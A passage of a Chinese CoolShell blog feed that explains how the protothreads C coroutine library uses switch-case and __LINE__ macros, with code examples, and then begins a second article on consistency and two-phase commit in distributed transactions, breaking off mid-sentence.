10; i++) {\n      state = __LINE__ + 2; /* so we will come back to &quot;case __LINE__&quot; */\n      return i;\n      case __LINE__:; /* resume control straight after the return */\n    }\n  }\n}</pre>\n<p>这样一来我们可以用宏提炼出一种范式，封装成组件：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#define Begin() static int state=0; switch(state) { case 0:\n#define Yield(x) do { state=__LINE__; return x; case __LINE__:; } while (0)\n#define End() }\nint function(void) {\n  static int i;\n  Begin();\n  for (i = 0; i &lt; 10; i++)\n    Yield(i);\n  End();\n}</pre>\n<p>怎么样，看起来像不像发明了一种全新的语言？<strong>实际上我们利用了 switch-case 的分支跳转特性，以及预编译的 __LINE__ 宏，实现了一种隐式状态机，最终实现了“yield 语义”。</strong></p>\n<p>还有一个问题，当你欢天喜地地将这种鲜为人知的技巧运用到你的项目中，并成功地拿去向你的上司邀功问赏的时候，你的上司会怎样看待你的代码呢？你的宏定义中大括号没有匹配完整，在代码块中包含了未用到的 case，Begin 和 Yield 宏里面不完整的七拼八凑……你简直就是公司里不遵守编码规范的反面榜样！</p>\n<p>别着急，在原文中 Simon Tatham 大牛帮你找到一个坚定的反驳理由，我觉得对程序员来说简直是金玉良言。</p>\n<p>将编程规范用在这里是不对的。文章里给出的示例代码不是很长，也不很复杂，即便以状态机的方式改写还是能够看懂的。但是随着代码越来越长，改写的难度将越来越大，改写对直观性造成的损失也变得相当相当大。</p>\n<p>想一想，一个函数如果包含这样的小代码块：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">case STATE1:\n/* perform some activity */\nif (condition) state = STATE2; else state = STATE3;</pre>\n<p>对于看代码的人说，这和包含下面小代码块的函数没有多大区别：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">LABEL1:\n/* perform some activity */\nif (condition) goto LABEL2; else goto LABEL3;</pre>\n<p>是的，这两个函数的结构在视觉上是一样的，而对于函数中实现的算法，两个函数都一样不利于查看。因为你使用协程的宏而炒你鱿鱼的人，一样会因为你写的函数是由小块的代码和 goto 语句组成而吼着炒了你。只是这次他们没有冤枉你，因为像那样设计的函数会严重扰乱算法的结构。</p>\n<p><strong>编程规范的目标就是为了代码清晰。</strong>如果将一些重要的东西，像 switch、return 以及 case 语句，隐藏到起“障眼”作用的宏中，从编程规范的角度讲，可以说你扰乱了程序的语法结构，并且违背了代码清晰这一要求。但是我们这样做是为了突出程序的算法结构，而算法结构恰恰是看代码的人更想了解的。</p>\n<p><span style=\"color: #ff0000;\"><strong>任何编程规范，坚持牺牲算法清晰度来换取语法清晰度的，都应该重写。</strong></span>如果你的上司因为使用了这一技巧而解雇你，那么在保安把你往外拖的时候要不断告诉他这一点。</p>\n<p>原文作者最后给出了一个 MIT 许可证的 <a title=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutine.h\" href=\"http://www.chiark.greenend.org.uk/~sgtatham/coroutine.h\" target=\"_blank\">coroutine.h</a> 头文件。值得一提的是，正如文中所说，这种协程实现方法有个使用上的局限，就是<strong>协程调度状态的保存依赖于 static 变量，而不是堆栈上的局部变量</strong>，实际上也无法用局部变量（堆栈）来保存状态，这就使得代码不具备可重入性和多线程应用。后来作者补充了一种技巧，就是将局部变量包装成函数参数传入的一个虚构的上下文结构体指针，然后用动态分配的堆来“模拟”堆栈，解决了线程可重入问题。但这样一来反而有损代码清晰，比如所有局部变量都要写成对象成员的引用方式，特别是局部变量很多的时候很麻烦，再比如宏定义 malloc/free 的玩法过于托大，不易控制，搞不好还增加了被炒鱿鱼的风险（只不过这次是你活该）。</p>\n<p>我个人认为，既然协程本身是一种单线程的方案，那么我们应该假定应用环境是单线程的，不存在代码重入问题，所以我们可以大胆地使用 static 变量，维持代码的简洁和可读性。事实上<strong>我们也不应该在多线程环境下考虑使用这么简陋的协程</strong>，非要用的话，前面提到 glibc 的 ucontext 组件也是一种可行的替代方案，它提供了一种协程私有堆栈的上下文，当然这种用法在跨线程上也并非没有限制，请仔细阅读联机文档。</p>\n<h4>Protothreads的上下文</h4>\n<p>感谢 Simon Tatham 的淳淳教诲，接下来我们可以 hack 一下源码了。先来看看实现 protothreads 的数据结构， 实际上它就是协程的<strong>上下文结构体</strong>，用以保存状态变量，相信你很快就明白为何它的“堆栈”只有 2 个字节：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct pt {\n  lc_t lc;\n}</pre>\n<p>里面只有一个 short 类型的变量，实际上它是用来保存上一次出让点的程序计数器。这也映证了协程比线程的灵活之处，就是协程可以是 stackless 的，如果需要实现的功能很单一，比如像生产者-消费者模型那样用来做事件通知，那么实际上协程需要保存的状态变量仅仅是一个程序计数器即可。像 python generator 也是 stackless 的，当然实现一个迭代生成器可能还需要保留上一个迭代值，前面 C 的例子是用 static 变量保存，你也可以设置成员变量添加到上下文结构体里面。如果你真的不确定用协程调度时需要保存多少状态变量，那还是用 ucontext 好了，它的上下文提供了堆栈和信号，但是由用户负责分配资源，详细使用方法见联机文档。。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">typedef struct ucontext {\n  struct ucontext_t *uc_link;\n  sigset_t uc_sigmask;\n  stack_t uc_stack;\n  ...\n} ucontext_t;</pre>\n<h4>Protothreads的原语和组件</h4>\n<p>有点扯远了，回到 protothreads，看看提供的协程“原语”。有两种实现方法，在 ANSI C 下，就是传统的 switch-case 语句：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#define LC_INIT（s） s = 0;  // 源码中是有分号的，一个低级 bug，啊哈～\n#define LC_RESUME(s) switch (s) { case 0:\n#define LC_SET(s) s = __LINE__; case __LINE__:\n#define LC_END(s) }\n</pre>\n<p>但这种“原语”有个难以察觉的缺陷：<strong>就是你无法在 LC_RESUME 和 LC_END （或者包含它们的组件）之间的代码中使用 switch-case语句，因为这会引起外围的 switch 跳转错误！</strong>为此，protothreads 又实现了基于 GNU C 的调度“原语”。在 GNU C 下还有一种语法糖叫做标签指针，就是在一个 label 前面加 &amp;&amp;（不是地址的地址，是 GNU 自定义的符号），可以用 void 指针类型保存，然后 goto 跳转：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">typedef void * lc_t；\n#define LC_INIT(s) s = NULL\n#define LC_RESUME(s) \\\n  do { \\\n    if (s != NULL) { \\\n      goto *s; \\\n    }\n  } while (0)\n#define LC_CONCAT2(s1, s2) s1##s2\n#define LC_CONCAT(s1, s2) LC_CONCAT2(s1, s2)\n#define LC_SET(s) \\\n  do { \\\n    LC_CONCAT(LC_LABEL, __LINE__): \\\n    （s） = &amp;&amp;LC_CONCAT(LC_LABEL, __LINE__); \\\n  } while (0)</pre>\n<p>好了，有了前面的基础知识，理解这些“原语”就是小菜一叠，下面看看如何建立“组件”，同时也是 protothreads API，我们先定义四个退出码作为协程的<strong>调度状态机</strong>：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#define PT_WAITING 0\n#define PT_YIELDED 1\n#define PT_EXITED  2\n#define PT_ENDED   3</pre>\n<p>下面这些 API 可直接在应用程序中调用：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">/* 初始化一个协程，也即初始化状态变量 */\n#define PT_INIT(pt) LC_INIT((pt)-&gt;lc)\n\n/* 声明一个函数，返回值为 char 即退出码，表示函数体内使用了 proto thread，（个人觉得有些多此一举） */\n#define PT_THREAD(name_args) char name_args\n\n/* 协程入口点， PT_YIELD_FLAG=0表示出让，=1表示不出让，放在 switch 语句前面，下次调用的时候可以跳转到上次出让点继续执行 */\n#define PT_BEGIN(pt) { char PT_YIELD_FLAG = 1; LC_RESUME((pt)-&gt;lc)\n\n/* 协程退出点，至此一个协程算是终止了，清空所有上下文和标志 */\n#define PT_END(pt) LC_END((pt)-&gt;lc); PT_YIELD_FLAG = 0; \\\n                   PT_INIT(pt); return PT_ENDED; }\n\n/* 协程出让点，如果此时协程状态变量 lc 已经变为 __LINE__ 跳转过来的，那么 PT_YIELD_FLAG = 1，表示从出让点继续执行。 */\n#define PT_YIELD(pt)        \\\n  do {            \\\n    PT_YIELD_FLAG = 0;        \\\n    LC_SET((pt)-&gt;lc);       \\\n    if(PT_YIELD_FLAG == 0) {      \\\n      return PT_YIELDED;      \\\n    }           \\\n  } while(0)\n\n/* 附加出让条件 */\n#define PT_YIELD_UNTIL(pt, cond)    \\\n  do {            \\\n    PT_YIELD_FLAG = 0;        \\\n    LC_SET((pt)-&gt;lc);       \\\n    if((PT_YIELD_FLAG == 0) || !(cond)) { \\\n      return PT_YIELDED;      \\\n    }           \\\n  } while(0)\n\n/* 协程阻塞点(blocking),本质上等同于 PT_YIELD_UNTIL，只不过退出码是 PT_WAITING，用来模拟信号量同步 */\n#define PT_WAIT_UNTIL(pt, condition)          \\\n  do {            \\\n    LC_SET((pt)-&gt;lc);       \\\n    if(!(condition)) {        \\\n      return PT_WAITING;      \\\n    }           \\\n  } while(0)\n\n/* 同 PT_WAIT_UNTIL 条件反转 */\n#define PT_WAIT_WHILE(pt, cond)  PT_WAIT_UNTIL((pt), !(cond))\n\n/* 协程调度，调用协程 f 并检查它的退出码，直到协程终止返回 0，否则返回 1。 */\n#define PT_SCHEDULE(f) ((f) &lt; PT_EXITED)\n\n/* 这用于非对称协程，调用者是主协程，pt 是和子协程 thread （可以是多个）关联的上下文句柄，主协程阻塞自己调度子协程，直到所有子协程终止 */\n#define PT_WAIT_THREAD(pt, thread) PT_WAIT_WHILE((pt), PT_SCHEDULE(thread))\n\n/* 用于协程嵌套调度，child 是子协程的上下文句柄 */\n#define PT_SPAWN(pt, child, thread)   \\\n  do {            \\\n    PT_INIT((child));       \\\n    PT_WAIT_THREAD((pt), (thread));   \\\n  } while(0)</pre>\n<p>暂时介绍这么多，用户还可以根据自己的需求随意扩展组件，比如实现信号量，你会发现脱离了操作系统环境下的信号量竟是如此简单：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct pt_sem {\n  unsigned int count;\n};\n\n#define PT_SEM_INIT(s, c) (s)-&gt;count = c\n\n#define PT_SEM_WAIT(pt, s)  \\\n  do {            \\\n    PT_WAIT_UNTIL(pt, (s)-&gt;count &gt; 0);    \\\n    --(s)-&gt;count;       \\\n  } while(0)\n\n#define PT_SEM_SIGNAL(pt, s) ++(s)-&gt;count</pre>\n<p>这些应该不需要我多说了吧，呵呵，让我们回到最初例举的生产者-消费者模型，看看protothreads表现怎样。</p>\n<h4>Protothreads实战</h4>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &quot;pt-sem.h&quot;\n\n#define NUM_ITEMS 32\n#define BUFSIZE 8\n\nstatic struct pt_sem mutex, full, empty;\n\nPT_THREAD(producer(struct pt *pt))\n{\n  static int produced;\n\n  PT_BEGIN(pt);\n  for (produced = 0; produced &lt; NUM_ITEMS; ++produced) {\n    PT_SEM_WAIT(pt, &amp;full);\n    PT_SEM_WAIT(pt, &amp;mutex);\n    add_to_buffer(produce_item());\n    PT_SEM_SIGNAL(pt, &amp;mutex);\n    PT_SEM_SIGNAL(pt, &amp;empty);\n  }\n  PT_END(pt);\n}\n\nPT_THREAD(consumer(struct pt *pt))\n{\n  static int consumed;\n\n  PT_BEGIN(pt);\n  for (consumed = 0; consumed &lt; NUM_ITEMS; ++consumed) {\n    PT_SEM_WAIT(pt, &amp;empty);\n    PT_SEM_WAIT(pt, &amp;mutex);\n    consume_item(get_from_buffer());\n    PT_SEM_SIGNAL(pt, &amp;mutex);\n    PT_SEM_SIGNAL(pt, &amp;full);\n  }\n  PT_END(pt);\n}\n\nPT_THREAD(driver_thread(struct pt *pt))\n{\n  static struct pt pt_producer, pt_consumer;\n\n  PT_BEGIN(pt);\n  PT_SEM_INIT(&amp;empty, 0);\n  PT_SEM_INIT(&amp;full, BUFSIZE);\n  PT_SEM_INIT(&amp;mutex, 1);\n  PT_INIT(&amp;pt_producer);\n  PT_INIT(&amp;pt_consumer);\n  PT_WAIT_THREAD(pt, producer(&amp;pt_producer) &amp; consumer(&amp;pt_consumer));\n  PT_END(pt);\n}</pre>\n<p>源码包中的 example-buffer.c 包含了可运行的完整示例，我就不全部贴了。整体框架就是一个 asymmetric coroutines，包括一个主协程 driver_thread 和两个子协程 producer 和 consumer ，其实不用多说大家也懂的，代码非常清晰直观。我们完全可以通过单线程实现一个简单的事件处理需求，你可以任意添加数十万个协程，几乎不会引起任何额外的系统开销和资源占用。唯一需要留意的地方就是没有一个局部变量，因为 protothreads 是 stackless 的，但这不是问题，首先我们已经假定运行环境是单线程的，其次在一个简化的需求下也用不了多少“局部变量”。如果在协程出让时需要保存一些额外的状态量，像迭代生成器，只要数目和大小都是确定并且可控的话，自行扩展协程上下文结构体即可。</p>\n<p>当然这不是说 protothreads 是万能的，它只是贡献了一种模型，你要使用它首先就得学会适应它。下面列举一些 protothreads 的使用限制：</p>\n<ul>\n<li>由于协程是stackless的，尽量不要使用局部变量，除非该变量对于协程状态是无关紧要的，同理可推，协程所在的代码是不可重入的。</li>\n</ul>\n<ul>\n<li>如果协程使用 switch-case 原语封装的组件，那么禁止在实际应用中使用 switch-case 语句，除非用 GNU C 语法中的标签指针替代。</li>\n</ul>\n<ul>\n<li>一个协程内部可以调用其它例程，比如库函数或系统调用，但必须保证该例程是非阻塞的，否则所在线程内的所有协程都将被阻塞。毕竟线程才是执行的最小单位，协程不过是按“时间片轮度”的例程而已。</li>\n</ul>\n<p>官网上还例举了更多<a title=\"http://dunkels.com/adam/pt/examples.html\" href=\"http://dunkels.com/adam/pt/examples.html\" target=\"_blank\">实例</a>，都非常实用。另外，一个叫 Craig Graham 的工程师扩展了 pt.h，使得 protothreads 支持 sleep/wake/kill 等操作，文件在此 <a title=\"http://dunkels.com/adam/download/graham-pt.h\" href=\"http://dunkels.com/adam/download/graham-pt.h\" target=\"_blank\">graham-pt.h</a>。</p>\n<h4>协程库 DIY 攻略</h4>\n<p>看到这里，手养的你是否想迫不及待地 DIY 一个协程组件呢？哪怕很多动态语言本身已经支持了协程语义，很多 C 程序员仍然倾向于自己实现组件，网上很多开源代码底层用的主要还是 glibc 的 ucontext 组件，毕竟提供堆栈的协程组件使用起来更加通用方便。你可以自己写一个调度器，然后模拟线程上下文，再然后……你就能搞出一个跨平台的COS了（笑）。GNU Pth 线程库就是这么实现的，其原作者德国人 <a title=\"http://engelschall.com/\" href=\"http://engelschall.com/\" target=\"_blank\">Ralf S. Engelschall</a> （又是个开源大牛，还写了 <a title=\"http://engelschall.com/software-artist.php\" href=\"http://engelschall.com/software-artist.php\" target=\"_blank\">OpenSSL 等许多作品</a>）就写了一篇<a title=\"http://xmailserver.org/rse-pmt.pdf\" href=\"http://xmailserver.org/rse-pmt.pdf\" target=\"_blank\">论文</a>教大家如何实现一个线程库。另外 protothreads 官网上也有一大堆<a title=\"http://dunkels.com/adam/pt/links.html\" href=\"http://dunkels.com/adam/pt/links.html\" target=\"_blank\">推荐阅读</a>。Have fun！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10975.html\">一个“蝇量级” C 语言协程库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10975.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>54</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>分布式系统的事务处理</title>\n\t\t<link>https://coolshell.cn/articles/10910.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10910.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Jan 2014 03:08:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[2PC]]></category>\n\t\t<category><![CDATA[3PC]]></category>\n\t\t<category><![CDATA[Consistency]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[NWR]]></category>\n\t\t<category><![CDATA[Paxos]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[Vector Clock]]></category>\n\t\t<category><![CDATA[分布式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10910</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>当我们在生产线上用一台服务器来提供数据服务的时候，我会遇到如下的两个问题： 1）一台服务器的性能不足以提供足够的能力服务于所有的网络请求。 2）我们总是害怕我们...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10910.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-10946\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/trade-off.jpg\" width=\"251\" height=\"200\" />当我们在生产线上用一台服务器来提供数据服务的时候，我会遇到如下的两个问题：</p>\n<p style=\"padding-left: 30px;\">1）一台服务器的性能不足以提供足够的能力服务于所有的网络请求。</p>\n<p style=\"padding-left: 30px;\">2）我们总是害怕我们的这台服务器停机，造成服务不可用或是数据丢失。</p>\n<p>于是我们不得不对我们的服务器进行扩展，加入更多的机器来分担性能上的问题，以及来解决单点故障问题。 通常，我们会通过两种手段来扩展我们的数据服务：</p>\n<p style=\"padding-left: 30px;\">1）<strong>数据分区</strong>：就是把数据分块放在不同的服务器上（如：uid % 16，一致性哈希等）。</p>\n<p style=\"padding-left: 30px;\">2）<strong>数据镜像</strong>：让所有的服务器都有相同的数据，提供相当的服务。</p>\n<p>对于第一种情况，我们无法解决数据丢失的问题，单台服务器出问题时，会有部分数据丢失。所以，<strong>数据服务的高可用性只能通过第二种方法来完成——数据的冗余存储</strong>（一般工业界认为比较安全的备份数应该是3份，如：Hadoop和Dynamo）<strong>。 但是，加入更多的机器，会让我们的数据服务变得很复杂，尤其是跨服务器的事务处理，也就是跨服务器的数据一致性</strong>。这个是一个很难的问题。 让我们用最经典的Use Case：“A帐号向B帐号汇钱”来说明一下，熟悉RDBMS事务的都知道从帐号A到帐号B需要6个操作：</p>\n<ol>\n<li>从A帐号中把余额读出来。</li>\n<li>对A帐号做减法操作。</li>\n<li>把结果写回A帐号中。</li>\n<li>从B帐号中把余额读出来。</li>\n<li>对B帐号做加法操作。</li>\n<li>把结果写回B帐号中。</li>\n</ol>\n<p>为了数据的一致性，这6件事，要么都成功做完，要么都不成功，而且这个操作的过程中，对A、B帐号的其它访问必需锁死，所谓锁死就是要排除其它的读写操作，不然会有脏数据的问题，这就是事务。那么，我们在加入了更多的机器后，这个事情会变得复杂起来：</p>\n<p><span id=\"more-10910\"></span></p>\n<p style=\"padding-left: 30px;\">1）<strong>在数据分区的方案中</strong>：如果A帐号和B帐号的数据不在同一台服务器上怎么办？我们需要一个跨机器的事务处理。也就是说，如果A的扣钱成功了，但B的加钱不成功，我们还要把A的操作给回滚回去。这在跨机器的情况下，就变得比较复杂了。</p>\n<p style=\"padding-left: 30px;\">2）<strong>在数据镜像的方案中</strong>：A帐号和B帐号间的汇款是可以在一台机器上完成的，但是别忘了我们有多台机器存在A帐号和B帐号的副本。如果对A帐号的汇钱有两个并发操作（要汇给B和C），这两个操作发生在不同的两台服务器上怎么办？也就是说，在数据镜像中，在不同的服务器上对同一个数据的写操作怎么保证其一致性，保证数据不冲突？</p>\n<p>同时，我们还要考虑性能的因素，如果不考虑性能的话，事务得到保证并不困难，系统慢一点就行了。除了考虑性能外，我们还要考虑可用性，也就是说，一台机器没了，数据不丢失，服务可由别的机器继续提供。 于是，我们需要重点考虑下面的这么几个情况：</p>\n<p style=\"padding-left: 30px;\">1）<strong>容灾</strong>：数据不丢、结点的Failover</p>\n<p style=\"padding-left: 30px;\">2）<strong>数据的一致性</strong>：事务处理</p>\n<p style=\"padding-left: 30px;\">3）<strong>性能：吞吐量 、 响应时间</strong></p>\n<p>前面说过，要解决数据不丢，只能通过数据冗余的方法，就算是数据分区，每个区也需要进行数据冗余处理。这就是数据副本：当出现某个节点的数据丢失时可以从副本读到，数据副本是分布式系统解决数据丢失异常的唯一手段。所以，在这篇文章中，简单起见，我们只讨论在数据冗余情况下考虑数据的一致性和性能的问题。简单说来：</p>\n<p style=\"padding-left: 30px;\"><strong>1）要想让数据有高可用性，就得写多份数据。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）写多份的问题会导致数据一致性的问题。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）数据一致性的问题又会引发性能问题</strong></p>\n<p>这就是软件开发，按下了葫芦起了瓢。</p>\n<h4>一致性模型</h4>\n<p>说起数据一致性来说，简单说有三种类型（当然，如果细分的话，还有很多一致性模型，如：顺序一致性，FIFO一致性，会话一致性，单读一致性，单写一致性，但为了本文的简单易读，我只说下面三种）：</p>\n<p style=\"padding-left: 30px;\">1）<strong>Weak 弱一致性</strong>：当你写入一个新值后，读操作在数据副本上可能读出来，也可能读不出来。比如：某些cache系统，网络游戏其它玩家的数据和你没什么关系，VOIP这样的系统，或是百度搜索引擎（呵呵）。</p>\n<p style=\"padding-left: 30px;\">2）<strong>Eventually 最终一致性</strong>：当你写入一个新值后，有可能读不出来，但在某个时间窗口之后保证最终能读出来。比如：DNS，电子邮件、Amazon S3，Google搜索引擎这样的系统。</p>\n<p style=\"padding-left: 30px;\">3）<strong>Strong 强一致性</strong>：新的数据一旦写入，在任意副本任意时刻都能读到新值。比如：文件系统，RDBMS，Azure Table都是强一致性的。</p>\n<p>从这三种一致型的模型上来说，我们可以看到，Weak和Eventually一般来说是异步冗余的，而Strong一般来说是同步冗余的，异步的通常意味着更好的性能，但也意味着更复杂的状态控制。同步意味着简单，但也意味着性能下降。 好，让我们由浅入深，一步一步地来看有哪些技术：</p>\n<h4>Master-Slave</h4>\n<p>首先是Master-Slave结构，对于这种加构，Slave一般是Master的备份。在这样的系统中，一般是如下设计的：</p>\n<p style=\"padding-left: 30px;\">1）读写请求都由Master负责。</p>\n<p style=\"padding-left: 30px;\">2）写请求写到Master上后，由Master同步到Slave上。</p>\n<p>从Master同步到Slave上，你可以使用异步，也可以使用同步，可以使用Master来push，也可以使用Slave来pull。 通常来说是Slave来周期性的pull，所以，是最终一致性。这个设计的问题是，如果Master在pull周期内垮掉了，那么会导致这个时间片内的数据丢失。如果你不想让数据丢掉，Slave只能成为Read-Only的方式等Master恢复。</p>\n<p>当然，如果你可以容忍数据丢掉的话，你可以马上让Slave代替Master工作（对于只负责计算的结点来说，没有数据一致性和数据丢失的问题，Master-Slave的方式就可以解决单点问题了） 当然，Master Slave也可以是强一致性的， 比如：当我们写Master的时候，Master负责先写自己，等成功后，再写Slave，两者都成功后返回成功，整个过程是同步的，如果写Slave失败了，那么两种方法，一种是标记Slave不可用报错并继续服务（等Slave恢复后同步Master的数据，可以有多个Slave，这样少一个，还有备份，就像前面说的写三份那样），另一种是回滚自己并返回写失败。（注：一般不先写Slave，因为如果写Master自己失败后，还要回滚Slave，此时如果回滚Slave失败，就得手工订正数据了）你可以看到，如果Master-Slave需要做成强一致性有多复杂。</p>\n<h4>Master-Master</h4>\n<p>Master-Master，又叫<a href=\"http://en.wikipedia.org/wiki/Multi-master_replication\" target=\"_blank\">Multi-master</a>，是指一个系统存在两个或多个Master，每个Master都提供read-write服务。这个模型是Master-Slave的加强版，数据间同步一般是通过Master间的异步完成，所以是最终一致性。 Master-Master的好处是，一台Master挂了，别的Master可以正常做读写服务，他和Master-Slave一样，当数据没有被复制到别的Master上时，数据会丢失。很多数据库都支持Master-Master的Replication的机制。</p>\n<p>另外，如果多个Master对同一个数据进行修改的时候，这个模型的恶梦就出现了——对数据间的冲突合并，这并不是一件容易的事情。看看Dynamo的Vector Clock的设计（记录数据的版本号和修改者）就知道这个事并不那么简单，而且Dynamo对数据冲突这个事是交给用户自己搞的。就像我们的SVN源码冲突一样，对于同一行代码的冲突，只能交给开发者自己来处理。（在本文后后面会讨论一下Dynamo的Vector Clock）</p>\n<h4>Two/Three Phase Commit</h4>\n<p>这个协议的缩写又叫2PC，中文叫两阶段提交。在分布式系统中，每个节点虽然可以知晓自己的操作时成功或者失败，却无法知道其他节点的操作的成功或失败。当一个事务跨越多个节点时，为了保持事务的ACID特性，需要引入一个作为<strong>协调者</strong>的组件来统一掌控所有节点(称作<b>参与者</b>)的操作结果并最终指示这些节点是否要把操作结果进行真正的提交(比如将更新后的数据写入磁盘等等)。 两阶段提交的算法如下：</p>\n<p><strong> 第一阶段</strong>：</p>\n<ol>\n<li>协调者会问所有的参与者结点，是否可以执行提交操作。</li>\n<li>各个参与者开始事务执行的准备工作：如：为资源上锁，预留资源，写undo/redo log……</li>\n<li>参与者响应协调者，如果事务的准备工作成功，则回应“可以提交”，否则回应“拒绝提交”。</li>\n</ol>\n<p><strong>第二阶段</strong>：</p>\n<ul>\n<li>如果所有的参与者都回应“可以提交”，那么，协调者向所有的参与者发送“正式提交”的命令。参与者完成正式提交，并释放所有资源，然后回应“完成”，协调者收集各结点的“完成”回应后结束这个Global Transaction。</li>\n</ul>\n<ul>\n<li>如果有一个参与者回应“拒绝提交”，那么，协调者向所有的参与者发送“回滚操作”，并释放所有资源，然后回应“回滚完成”，协调者收集各结点的“回滚”回应后，取消这个Global Transaction。</li>\n</ul>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10929\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/Two-phase_commit.png\" width=\"518\" height=\"195\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/01/Two-phase_commit.png 647w, https://coolshell.cn/wp-content/uploads/2014/01/Two-phase_commit-300x113.png 300w\" sizes=\"(max-width: 518px) 100vw, 518px\" /></p>\n<p>我们可以看到，2PC说白了就是第一阶段做Vote，第二阶段做决定的一个算法，也可以看到2PC这个事是强一致性的算法。在前面我们讨论过Master-Slave的强一致性策略，和2PC有点相似，只不过2PC更为保守一些——先尝试再提交。 2PC用的是比较多的，在一些系统设计中，会串联一系列的调用，比如：A -&gt; B -&gt; C -&gt; 